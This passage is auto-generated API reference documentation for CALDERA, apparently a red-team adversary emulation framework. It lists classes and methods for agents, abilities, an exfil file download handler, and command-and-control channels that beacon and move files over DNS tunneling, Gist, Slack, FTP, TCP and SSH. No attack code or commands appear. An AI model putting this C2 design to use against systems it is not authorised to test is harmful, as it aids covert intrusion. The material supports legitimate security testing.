class app.api.v2.schemas.payload_schemas.PayloadQuerySchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema

30.1. app package 161


caldera

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

class app.api.v2.schemas.payload_schemas.PayloadSchema(*, only: Sequence[str] | AbstractSet[str] |


None = None, exclude: Sequence[str] |
AbstractSet[str] = (), many: bool = False,
context: dict | None = None, load_only:
Sequence[str] | AbstractSet[str] = (),
dump_only: Sequence[str] | AbstractSet[str]
= (), partial: bool | Sequence[str] |
AbstractSet[str] | None = None, unknown:
str | None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

Submodules

app.api.v2.errors module

exception app.api.v2.errors.DataValidationError(message=None, name=None, value=None)


Bases: Exception
exception app.api.v2.errors.RequestBodyParseError
Bases: Exception
Base class for HTTP body parsing errors.
exception app.api.v2.errors.RequestUnparsableJsonError(message=None)
Bases: RequestBodyParseError
Raised when a request body is not parsable (i.e., it is not well-formed json)
exception app.api.v2.errors.RequestValidationError(message=None, errors=None)
Bases: RequestBodyParseError
Raised when an http request body contains json that is not schema-valid.

app.api.v2.responses module

exception app.api.v2.responses.JsonHttpBadRequest(error, details=None, **kwargs)


Bases: JsonHttpErrorResponse, HTTPBadRequest
An HTTP 400 response with a json formatted body.
class app.api.v2.responses.JsonHttpErrorResponse(error, details=None, **kwargs)
Bases: object
Base class for json formatted versions of aiohttp responses.
exception app.api.v2.responses.JsonHttpForbidden(error, details=None, **kwargs)
Bases: JsonHttpErrorResponse, HTTPForbidden
An HTTP 403 response with a json formatted body.

162 Chapter 30. app


caldera

exception app.api.v2.responses.JsonHttpNotFound(error, details=None, **kwargs)


Bases: JsonHttpErrorResponse, HTTPNotFound
An HTTP 404 response with a json formatted body.
async app.api.v2.responses.apispec_request_validation_middleware(request, handler)
Middleware to handle errors thrown by schema validation
Must be added before validation_middleware
async app.api.v2.responses.json_request_validation_middleware(request, handler)
Middleware that converts json decoding and marshmallow validation errors into 400 responses w/ json bodies.

app.api.v2.security module

app.api.v2.security.authentication_exempt(handler)
Mark the endpoint handler as not requiring authentication.
Note:
This only applies when the authentication_required_middleware is being used.
app.api.v2.security.authentication_required_middleware_factory(auth_svc)
Enforce authentication on every endpoint within an web application.
Note:
Any endpoint handler can opt-out of authentication using the @authentication_exempt decorator.
app.api.v2.security.is_handler_authentication_exempt(handler)
Return True if the endpoint handler is authentication exempt.
async app.api.v2.security.pass_option_middleware(request, handler)
Allow all ‘OPTIONS’ request to the server to return 200 This mitigates CORS issues while developing the UI.

app.api.v2.validation module

app.api.v2.validation.check_not_empty_string(value, name=None)

app.api.v2.validation.check_positive_integer(value, name=None)

Module contents

app.api.v2.make_app(services)

Submodules

app.api.rest_api module

class app.api.rest_api.RestApi(services)
Bases: BaseWorld
async download_exfil_file(**params)

30.1. app package 163


caldera

async download_file(request)

async enable()

async handle_catch(request)

async landing(request)

async logout(request)

async rest_core(**params)

async rest_core_info(**params)

async upload_file(request)

async validate_login(request)

app.contacts namespace

Subpackages

app.contacts.handles namespace

Submodules

app.contacts.handles.h_beacon module

class app.contacts.handles.h_beacon.Handle(tag)
Bases: object
async static run(message, services, caller)

app.contacts.tunnels namespace

Submodules

app.contacts.tunnels.tunnel_ssh module

class app.contacts.tunnels.tunnel_ssh.SSHServerTunnel(services, user_name, user_password)


Bases: SSHServer
begin_auth(username)
Authentication has been requested by the client
This method will be called when authentication is attempted for the specified user. Applications should
use this method to prepare whatever state they need to complete the authentication, such as loading in the
set of authorized keys for that user. If no authentication is required for this user, this method should return
False to cause the authentication to immediately succeed. Otherwise, it should return True to indicate that
authentication should proceed.
If blocking operations need to be performed to prepare the state needed to complete the authentication, this
method may be defined as a coroutine.

164 Chapter 30. app


caldera

Parameters
username (str) – The name of the user being authenticated
Returns
A bool indicating whether authentication is required
connection_lost(exc)
Called when a connection is lost or closed
This method is called when a connection is closed. If the connection is shut down cleanly, exc will be None.
Otherwise, it will be an exception explaining the reason for the disconnect.
connection_made(conn)
Called when a connection is made
This method is called when a new TCP connection is accepted. The conn parameter should be stored if
needed for later use.
Parameters
conn (SSHServerConnection) – The connection which was successfully opened
connection_requested(dest_host, dest_port, orig_host, orig_port)
Handle a direct TCP/IP connection request
This method is called when a direct TCP/IP connection request is received by the server. Applications
wishing to accept such connections must override this method.
To allow standard port forwarding of data on the connection to the requested destination host and port, this
method should return True.
To reject this request, this method should return False to send back a “Connection refused” response or
raise an ChannelOpenError exception with the reason for the failure.
If the application wishes to process the data on the connection itself, this method should return either an
SSHTCPSession object which can be used to process the data received on the channel or a tuple consisting
of of an SSHTCPChannel object created with create_tcp_channel() and an SSHTCPSession, if the
application wishes to pass non-default arguments when creating the channel.
If blocking operations need to be performed before the session can be created, a coroutine which returns an
SSHTCPSession object can be returned instead of the session itself. This can be either returned directly or
as a part of a tuple with an SSHTCPChannel object.
By default, all connection requests are rejected.
Parameters
• dest_host (str) – The address the client wishes to connect to
• dest_port (int) – The port the client wishes to connect to
• orig_host (str) – The address the connection was originated from
• orig_port (int) – The port the connection was originated from
Returns
One of the following:
• An SSHTCPSession object or a coroutine which returns an SSHTCPSession
• A tuple consisting of an SSHTCPChannel and the above
• A callable or coroutine handler function which takes AsyncSSH stream objects for reading
from and writing to the connection

30.1. app package 165


caldera

• A tuple consisting of an SSHTCPChannel and the above


• True to request standard port forwarding
• False to refuse the connection
Raises
ChannelOpenError if the connection shouldn’t be accepted
password_auth_supported()
Return whether or not password authentication is supported
This method should return True if password authentication is supported. Applications wishing to support
it must have this method return True and implement validate_password() to return whether or not the
password provided by the client is valid for the user being authenticated.
By default, this method returns False indicating that password authentication is not supported.
Returns
A bool indicating if password authentication is supported or not
validate_password(username, password)
Return whether password is valid for this user
This method should return True if the specified password is a valid password for the user being authenti-
cated. It must be overridden by applications wishing to support password authentication.
If the password provided is valid but expired, this method may raise PasswordChangeRequired to re-
quest that the client provide a new password before authentication is allowed to complete. In this case, the
application must override change_password() to handle the password change request.
This method may be called multiple times with different passwords provided by the client. Appli-
cations may wish to limit the number of attempts which are allowed. This can be done by having
password_auth_supported() begin returning False after the maximum number of attempts is exceeded.
If blocking operations need to be performed to determine the validity of the password, this method may be
defined as a coroutine.
By default, this method returns False for all passwords.
Parameters
• username (str) – The user being authenticated
• password (str) – The password sent by the client
Returns
A bool indicating if the specified password is valid for the user being authenticated
Raises
PasswordChangeRequired if the password provided is expired and needs to be changed
class app.contacts.tunnels.tunnel_ssh.Tunnel(services)
Bases: BaseWorld
server_factory()

async start()

166 Chapter 30. app


caldera

Submodules

app.contacts.contact_dns module

class app.contacts.contact_dns.Contact(services)
Bases: BaseWorld
async start()

async stop()

class app.contacts.contact_dns.DnsAnswerObj(record_type, dns_class, ttl, data)


Bases: object
get_bytes(byteorder='big')

class app.contacts.contact_dns.DnsPacket(transaction_id, flags, num_questions, num_answer_rrs,


num_auth_rrs, num_additional_rrs, qname_labels,
record_type, dns_class)
Bases: object
authoritative_resp_flag = 1024

static generate_packet_from_bytes(data, byteorder='big')

get_opcode()

get_response_code()

has_standard_query()

is_query()

is_response()

opcode_mask = 30720

opcode_offset = 11

query_response_flag = 32768

recursion_available()

recursion_available_flag = 128

recursion_desired()

recursion_desired_flag = 256

response_code_mask = 15

truncated()

truncated_flag = 512

class app.contacts.contact_dns.DnsRecordType(value, names=None, *, module=None, qualname=None,


type=None, start=1, boundary=None)
Bases: Enum

30.1. app package 167


caldera

A = 1

AAAA = 28

CNAME = 5

NS = 2

TXT = 16

class app.contacts.contact_dns.DnsResponse(transaction_id, flags, num_questions, num_answer_rrs,


num_auth_rrs, num_additional_rrs, qname_labels,
record_type, dns_class, answers)
Bases: DnsPacket
default_ttl = 300

static generate_response_for_query(dns_query, r_code, answers, authoritative=True,


recursion_available=False, truncated=False)
Given DnsPacket query, return response with provided fields. Answers is list of DnsAnswerObj for the
given query.
get_bytes(byteorder='big')

max_ttl = 86400

max_txt_size = 255

min_ttl = 300

standard_pointer = 49164

class app.contacts.contact_dns.DnsResponseCodes(value, names=None, *, module=None,


qualname=None, type=None, start=1,
boundary=None)
Bases: Enum
NXDOMAIN = 3

SUCCESS = 0

class app.contacts.contact_dns.Handler(domain, services, name)


Bases: DatagramProtocol
class ClientRequestContext(request_id, dns_request, request_contents)
Bases: object
class FileUploadRequest(request_id, requesting_paw, directory, filename)
Bases: object
class MessageType(value, names=None, *, module=None, qualname=None, type=None, start=1,
boundary=None)
Bases: Enum
Beacon = 'be'

FileUploadData = 'ud'

168 Chapter 30. app


caldera

FileUploadRequest = 'ur'

InstructionDownload = 'id'

PayloadDataDownload = 'pd'

PayloadFilenameDownload = 'pf'

PayloadRequest = 'pr'

class StoredResponse(data)
Bases: object
finished_reading()

read_data(num_bytes)

class TunneledMessage(message_id, message_type, num_chunks)


Bases: object
add_chunk(chunk_index, contents)

export_contents()

is_complete()

connection_made(transport)
Called when a connection is made.
The argument is the transport representing the pipe connection. To receive data, wait for data_received()
calls. When the connection is closed, connection_lost() is called.
datagram_received(data, addr)
Called when some datagram is received.
async generate_dns_tunneling_response_bytes(data)

app.contacts.contact_ftp module

class app.contacts.contact_ftp.Contact(services)
Bases: BaseWorld
check_config()

async ftp_server_python_new()

async ftp_server_python_old()

set_up_server()

setup_ftp_users()

async start()

async stop()

class app.contacts.contact_ftp.FtpHandler(user, contact_svc, file_svc, logger, host, port, username,


password, user_dir)
Bases: Server

30.1. app package 169


caldera

async contact_caldera_server(profile)

async create_beacon_response(agent, instructions)

async get_payload_file(payload_dict)

async handle_agent_file(split_file_path, file_bytes)

async stor(connection, rest, mode='wb')

async submit_uploaded_file(paw, filename, data)

write_file(paw, file_name, contents)

app.contacts.contact_gist module

class app.contacts.contact_gist.Contact(services)
Bases: BaseWorld
class GistUpload(upload_id, filename, num_chunks)
Bases: object
add_chunk(chunk_index, contents)

export_contents()

is_complete()

VALID_TOKEN_FORMATS = ['^[a-fA-F0-9]{40,255}$', '^ghp_[A-Za-z0-9_]{36,251}$']

async get_beacons()
Retrieve all GIST beacons for a particular api token :return: the beacons
async get_results()
Retrieve all GIST posted results for a this C2’s api token :return:
async get_uploads()
Retrieve all GIST posted file uploads for this C2’s api token :return: list of (raw content, gist description,
gist filename) tuples for upload GISTs
async gist_operation_loop()

async handle_beacons(beacons)
Handles various beacons types (beacon and results)
async handle_uploads(upload_gist_info)

retrieve_config()

async start()

valid_config(token)

app.contacts.contact_gist.api_access(func)

170 Chapter 30. app


caldera

app.contacts.contact_html module

class app.contacts.contact_html.Contact(services)
Bases: BaseWorld
async start()

app.contacts.contact_http module

class app.contacts.contact_http.Contact(services)
Bases: BaseWorld
async start()

app.contacts.contact_slack module

class app.contacts.contact_slack.Contact(services)
Bases: BaseWorld
class SlackUpload(upload_id, filename, num_chunks)
Bases: object
add_chunk(chunk_index, contents)

export_contents()

is_complete()

async get_beacons()
Retrieve all SLACK beacons for a particular api key :return: the beacons
async get_results()
Retrieve all SLACK posted results for a this C2’s api key :return:
async get_uploads()
Retrieve all SLACK posted file uploads for this C2’s api key :return: list of (raw content, slack description,
slack filename) tuples for upload SLACKs
async handle_beacons(beacons)
Handles various beacons types (beacon and results)
async handle_uploads(upload_slack_info)

retrieve_config()

async slack_operation_loop()

async start()

async valid_config()

app.contacts.contact_slack.api_access(func)

30.1. app package 171


caldera

app.contacts.contact_tcp module

class app.contacts.contact_tcp.Contact(services)
Bases: BaseWorld
async operation_loop()

async start()

class app.contacts.contact_tcp.TcpSessionHandler(services, log)


Bases: BaseWorld
async accept(reader, writer)

async refresh()

async send(session_id: int, cmd: str, timeout: int = 60) → Tuple[int, str, str, str]

app.contacts.contact_udp module

class app.contacts.contact_udp.Contact(services)
Bases: BaseWorld
async start()

async stop()

class app.contacts.contact_udp.Handler(services)
Bases: DatagramProtocol
datagram_received(data, addr)
Called when some datagram is received.

app.contacts.contact_websocket module

class app.contacts.contact_websocket.Contact(services)
Bases: BaseWorld
async start()

async stop()

class app.contacts.contact_websocket.Handler(services)
Bases: object
async handle(socket, path)

172 Chapter 30. app


caldera

app.data_encoders namespace

Submodules

app.data_encoders.base64_basic module

class app.data_encoders.base64_basic.Base64Encoder
Bases: DataEncoder
decode(encoded_data, **_)
Returns b64 decoded bytes.
encode(data, **_)
Returns base64 encoded data.
app.data_encoders.base64_basic.load()

app.data_encoders.plain_text module

class app.data_encoders.plain_text.PlainTextEncoder
Bases: DataEncoder
decode(encoded_data, **_)

encode(data, **_)

app.data_encoders.plain_text.load()

app.learning namespace

Submodules

app.learning.p_ip module

class app.learning.p_ip.Parser
Bases: object
parse(blob)

app.learning.p_path module

class app.learning.p_path.Parser
Bases: object
parse(blob)

30.1. app package 173


caldera

app.objects namespace

Subpackages

app.objects.interfaces namespace

Submodules

app.objects.interfaces.i_object module

class app.objects.interfaces.i_object.FirstClassObjectInterface
Bases: ABC
abstract store(ram)

abstract property unique

app.objects.secondclass namespace

Submodules

app.objects.secondclass.c_executor module

class app.objects.secondclass.c_executor.Executor(name, platform, command=None, code=None,


language=None, build_target=None,
payloads=None, uploads=None, timeout=60,
parsers=None, cleanup=None, variations=None,
additional_info=None, **kwargs)
Bases: BaseObject
HOOKS = {}

RESERVED = {'payload': '#{payload}'}

display_schema = <ExecutorSchema(many=False)>

classmethod is_global_variable(variable)

replace_cleanup(command, payload)

schema = <ExecutorSchema(many=False)>

property test
Get command with app property variables replaced
class app.objects.secondclass.c_executor.ExecutorSchema(*, only: Sequence[str] | AbstractSet[str] |
None = None, exclude: Sequence[str] |
AbstractSet[str] = (), many: bool = False,
context: dict | None = None, load_only:
Sequence[str] | AbstractSet[str] = (),
dump_only: Sequence[str] |
AbstractSet[str] = (), partial: bool |
Sequence[str] | AbstractSet[str] | None =
None, unknown: str | None = None)

174 Chapter 30. app


caldera

Bases: Schema
build_executor(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.objects.secondclass.c_executor.get_variations(data)

app.objects.secondclass.c_fact module

class app.objects.secondclass.c_fact.Fact(trait, value=None, score=1, source=None,


origin_type=None, links=None, relationships=None,
limit_count=-1, collected_by=None, technique_id=None)
Bases: BaseObject
escaped(executor)

load_schema = <FactSchema(many=False)>

property name

schema = <FactSchema(many=False)>

property trait

property unique

class app.objects.secondclass.c_fact.FactSchema(*, only: Sequence[str] | AbstractSet[str] | None =


None, exclude: Sequence[str] | AbstractSet[str] = (),
many: bool = False, context: dict | None = None,
load_only: Sequence[str] | AbstractSet[str] = (),
dump_only: Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] | AbstractSet[str] | None
= None, unknown: str | None = None)
Bases: Schema
class Meta
Bases: object
unknown = 'exclude'

build_fact(data, **kwargs)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

class app.objects.secondclass.c_fact.FactUpdateRequestSchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)

30.1. app package 175


caldera

Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

class app.objects.secondclass.c_fact.OriginType(value, names=None, *, module=None,


qualname=None, type=None, start=1,
boundary=None)
Bases: Enum
DOMAIN = 0

IMPORTED = 3

LEARNED = 2

SEEDED = 1

USER = 4

app.objects.secondclass.c_goal module

class app.objects.secondclass.c_goal.Goal(target='exhaustion', value='complete', count=None,


operator='==')
Bases: BaseObject
MAX_GOAL_COUNT = 1048576

static parse_operator(operator)

satisfied(all_facts=None)

schema = <GoalSchema(many=False)>

class app.objects.secondclass.c_goal.GoalSchema(*, only: Sequence[str] | AbstractSet[str] | None =


None, exclude: Sequence[str] | AbstractSet[str] = (),
many: bool = False, context: dict | None = None,
load_only: Sequence[str] | AbstractSet[str] = (),
dump_only: Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] | AbstractSet[str] | None
= None, unknown: str | None = None)
Bases: Schema
build_goal(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

remove_properties(data, **_)

176 Chapter 30. app


caldera

app.objects.secondclass.c_instruction module

class app.objects.secondclass.c_instruction.Instruction(id, command, executor, payloads=None,


uploads=None, sleep=0, timeout=60,
deadman=False, delete_payload=True)
Bases: BaseObject
property display

schema = <InstructionSchema(many=False)>

class app.objects.secondclass.c_instruction.InstructionSchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] =
(), partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
build_instruction(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.objects.secondclass.c_link module

class app.objects.secondclass.c_link.Link(command='', plaintext_command='', paw='', ability=None,


executor=None, status=-3, score=0, jitter=0, cleanup=0,
id='', pin=0, host=None, deadman=False, used=None,
relationships=None, agent_reported_time=None)
Bases: BaseObject
EVENT_EXCHANGE = 'link'

EVENT_QUEUE_STATUS_CHANGED = 'status_changed'

RESERVED = {'origin_link_id': '#{origin_link_id}'}

apply_id(host)

can_ignore()

async create_relationships(relationships, operation)

property display

display_schema = <LinkSchema(many=False)>

is_finished()

classmethod is_global_variable(variable)

30.1. app package 177


caldera

is_valid_status(status)

load_schema = <LinkSchema(many=False)>

async parse(operation, result)

property pin

property raw_command

replace_origin_link_id()

async save_fact(operation, fact, score, relationship)

schema = <LinkSchema(many=False)>

property states

property status

property unique

class app.objects.secondclass.c_link.LinkSchema(*, only: Sequence[str] | AbstractSet[str] | None =


None, exclude: Sequence[str] | AbstractSet[str] = (),
many: bool = False, context: dict | None = None,
load_only: Sequence[str] | AbstractSet[str] = (),
dump_only: Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] | AbstractSet[str] | None
= None, unknown: str | None = None)
Bases: Schema
class Meta
Bases: object
unknown = 'exclude'

build_link(data, **kwargs)

fix_ability(link, **_)

fix_executor(link, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

prepare_dump(data, **_)

remove_properties(data, **_)

async app.objects.secondclass.c_link.update_scores(operation, increment, used, facts)

178 Chapter 30. app


caldera

app.objects.secondclass.c_parser module

class app.objects.secondclass.c_parser.Parser(module, parserconfigs)


Bases: BaseObject
schema = <ParserSchema(many=False)>

property unique

class app.objects.secondclass.c_parser.ParserSchema(*, only: Sequence[str] | AbstractSet[str] | None


= None, exclude: Sequence[str] |
AbstractSet[str] = (), many: bool = False,
context: dict | None = None, load_only:
Sequence[str] | AbstractSet[str] = (),
dump_only: Sequence[str] | AbstractSet[str] =
(), partial: bool | Sequence[str] |
AbstractSet[str] | None = None, unknown: str |
None = None)
Bases: Schema
build_parser(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

prepare_parser(data, **_)

app.objects.secondclass.c_parserconfig module

class app.objects.secondclass.c_parserconfig.ParserConfig(source, edge=None, target=None,


custom_parser_vals=None)
Bases: BaseObject
schema = <ParserConfigSchema(many=False)>

class app.objects.secondclass.c_parserconfig.ParserConfigSchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool
= False, context: dict | None =
None, load_only: Sequence[str] |
AbstractSet[str] = (),
dump_only: Sequence[str] |
AbstractSet[str] = (), partial:
bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
class Meta
Bases: object
unknown = 'include'

build_parserconfig(data, **_)

30.1. app package 179


caldera

check_edge_target(in_data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

remove_nones(data, **_)

app.objects.secondclass.c_relationship module

class app.objects.secondclass.c_relationship.Relationship(source, edge=None, target=None,


score=1, origin=None)
Bases: BaseObject
property display

property flat_display

classmethod from_json(json)

load_schema = <RelationshipSchema(many=False)>

schema = <RelationshipSchema(many=False)>

property shorthand

property unique

class app.objects.secondclass.c_relationship.RelationshipSchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool
= False, context: dict | None =
None, load_only: Sequence[str] |
AbstractSet[str] = (),
dump_only: Sequence[str] |
AbstractSet[str] = (), partial:
bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
build_relationship(data, **kwargs)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

remove_unique(data, **_)

180 Chapter 30. app


caldera

class app.objects.secondclass.c_relationship.RelationshipUpdateSchema(*, only: Sequence[str] |


AbstractSet[str] | None =
None, exclude:
Sequence[str] |
AbstractSet[str] = (),
many: bool = False,
context: dict | None =
None, load_only:
Sequence[str] |
AbstractSet[str] = (),
dump_only:
Sequence[str] |
AbstractSet[str] = (),
partial: bool |
Sequence[str] |
AbstractSet[str] | None =
None, unknown: str |
None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.objects.secondclass.c_requirement module

class app.objects.secondclass.c_requirement.Requirement(module, relationship_match)


Bases: BaseObject
schema = <RequirementSchema(many=False)>

property unique

class app.objects.secondclass.c_requirement.RequirementSchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] =
(), partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
build_requirement(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

30.1. app package 181


caldera

app.objects.secondclass.c_result module

class app.objects.secondclass.c_result.Result(id, output, stderr='', exit_code='', pid=0, status=0,


agent_reported_time=None)
Bases: BaseObject
schema = <ResultSchema(many=False)>

class app.objects.secondclass.c_result.ResultSchema(*, only: Sequence[str] | AbstractSet[str] | None


= None, exclude: Sequence[str] |
AbstractSet[str] = (), many: bool = False,
context: dict | None = None, load_only:
Sequence[str] | AbstractSet[str] = (),
dump_only: Sequence[str] | AbstractSet[str] =
(), partial: bool | Sequence[str] |
AbstractSet[str] | None = None, unknown: str |
None = None)
Bases: Schema
build_result(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

prepare_dump(data, **_)

app.objects.secondclass.c_rule module

class app.objects.secondclass.c_rule.Rule(action, trait, match='.*')


Bases: BaseObject
schema = <RuleSchema(many=False)>

class app.objects.secondclass.c_rule.RuleSchema(*, only: Sequence[str] | AbstractSet[str] | None =


None, exclude: Sequence[str] | AbstractSet[str] = (),
many: bool = False, context: dict | None = None,
load_only: Sequence[str] | AbstractSet[str] = (),
dump_only: Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] | AbstractSet[str] | None
= None, unknown: str | None = None)
Bases: Schema
build_rule(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

182 Chapter 30. app


caldera

app.objects.secondclass.c_variation module

class app.objects.secondclass.c_variation.Variation(description, command)


Bases: BaseObject
property command

property raw_command

schema = <VariationSchema(many=False)>

class app.objects.secondclass.c_variation.VariationSchema(*, only: Sequence[str] | AbstractSet[str]


| None = None, exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
build_variation(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.objects.secondclass.c_visibility module

class app.objects.secondclass.c_visibility.Visibility
Bases: BaseObject
MAX_SCORE = 100

MIN_SCORE = 1

apply(adjustment)

property display

schema = <VisibilitySchema(many=False)>

property score

class app.objects.secondclass.c_visibility.VisibilitySchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema

30.1. app package 183


caldera

build_visibility(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

Submodules

app.objects.c_ability module

class app.objects.c_ability.Ability(ability_id='', name=None, description=None, tactic=None,


technique_id=None, technique_name=None, executors=(),
requirements=None, privilege=None, repeatable=False,
buckets=None, access=None, additional_info=None, tags=None,
singleton=False, plugin='', delete_payload=True, **kwargs)
Bases: FirstClassObjectInterface, BaseObject
HOOKS = {}

async add_bucket(bucket)

add_executor(executor)
Add executor to map
If the executor exists, delete the current entry and add the
new executor to the bottom for FIFO
add_executors(executors)
Create executor map from list of executor objects
display_schema = <AbilitySchema(many=False)>

property executors

find_executor(name, platform)

find_executors(names, platform)
Find executors for matching platform/executor names
Only the first instance of a matching executor will be returned,
as there should not be multiple executors matching a single platform/executor name pair.

Parameters
• names (list(str)) – Executors to search. ex: [‘psh’, ‘cmd’]
• platform (str) – Platform to search. ex: windows
Returns
List of executors ordered based on ordering of names
Return type
list(Executor)

remove_all_executors()

schema = <AbilitySchema(many=False)>

store(ram)

184 Chapter 30. app


caldera

property unique

async which_plugin()

class app.objects.c_ability.AbilitySchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many: bool =
False, context: dict | None = None, load_only: Sequence[str] |
AbstractSet[str] = (), dump_only: Sequence[str] |
AbstractSet[str] = (), partial: bool | Sequence[str] |
AbstractSet[str] | None = None, unknown: str | None = None)
Bases: Schema
class Meta
Bases: object
unknown = 'exclude'

build_ability(data, **kwargs)

fix_id(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.objects.c_adversary module

class app.objects.c_adversary.Adversary(name='', adversary_id='', description='', atomic_ordering=(),


objective='', tags=None, plugin='')
Bases: FirstClassObjectInterface, BaseObject
check_repeatable_abilities(ability_list)

has_ability(ability)

schema = <AdversarySchema(many=False)>

store(ram)

property unique

verify(log, abilities, objectives)

async which_plugin()

class app.objects.c_adversary.AdversarySchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many:
bool = False, context: dict | None = None, load_only:
Sequence[str] | AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (), partial: bool |
Sequence[str] | AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
class Meta
Bases: object
unknown = 'exclude'

30.1. app package 185


caldera

build_adversary(data, **kwargs)

fix_id(adversary, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

phase_to_atomic_ordering(adversary, **_)
Convert legacy adversary phases to atomic ordering
remove_properties(data, **_)

app.objects.c_agent module

class app.objects.c_agent.Agent(sleep_min=30, sleep_max=60, watchdog=0, platform='unknown',


server='unknown', host='unknown', username='unknown',
architecture='unknown', group='red', location='unknown', pid=0, ppid=0,
trusted=True, executors=(), privilege='User', exe_name='unknown',
contact='unknown', paw=None, proxy_receivers=None,
proxy_chain=None, origin_link_id='', deadman_enabled=False,
available_contacts=None, host_ip_addrs=None, upstream_dest=None,
pending_contact=None)
Bases: FirstClassObjectInterface, BaseObject
RESERVED = {'agent_paw': '#{paw}', 'exe_name': '#{exe_name}', 'group':
'#{group}', 'location': '#{location}', 'payload': re.compile('#{payload:(.*?)}',
re.DOTALL), 'server': '#{server}', 'upstream_dest': '#{upstream_dest}'}

async all_facts()

assign_pending_executor_change()
Return the executor change dict and remove pending change to assign. :return: Dict representing the ex-
ecutor change that is assigned. :rtype: dict(str, str)
async bootstrap(data_svc)

async calculate_sleep()

async capabilities(abilities)
Get abilities that the agent is capable of running :param abilities: List of abilities to check agent capability
:type abilities: List[Ability] :return: List of abilities the agents is capable of running :rtype: List[Ability]
async deadman(data_svc)

property display_name

property executor_change_to_assign

async get_preferred_executor(ability)
Get preferred executor for ability Will return None if the agent is not capable of running any executors in the
given ability. :param ability: Ability to get preferred executor for :type ability: Ability :return: Preferred
executor or None :rtype: Union[Executor, None]
async gui_modification(**kwargs)

async heartbeat_modification(**kwargs)

186 Chapter 30. app


caldera

classmethod is_global_variable(variable)

async kill()

load_schema = <AgentSchema(many=False)>

privileged_to_run(ability)

replace(encoded_cmd, file_svc)

schema = <AgentSchema(many=False)>

set_pending_executor_path_update(executor_name, new_binary_path)
Mark specified executor to update its binary path to the new path. :param executor_name: name of executor
for agent to update binary path :type executor_name: str :param new_binary_path: new binary path for
executor to reference :type new_binary_path: str
set_pending_executor_removal(executor_name)
Mark specified executor to remove. :param executor_name: name of executor for agent to remove :type
executor_name: str
store(ram)

async task(abilities, obfuscator, facts=(), deadman=False)

property unique

class app.objects.c_agent.AgentFieldsSchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many: bool
= False, context: dict | None = None, load_only:
Sequence[str] | AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (), partial: bool |
Sequence[str] | AbstractSet[str] | None = None, unknown:
str | None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

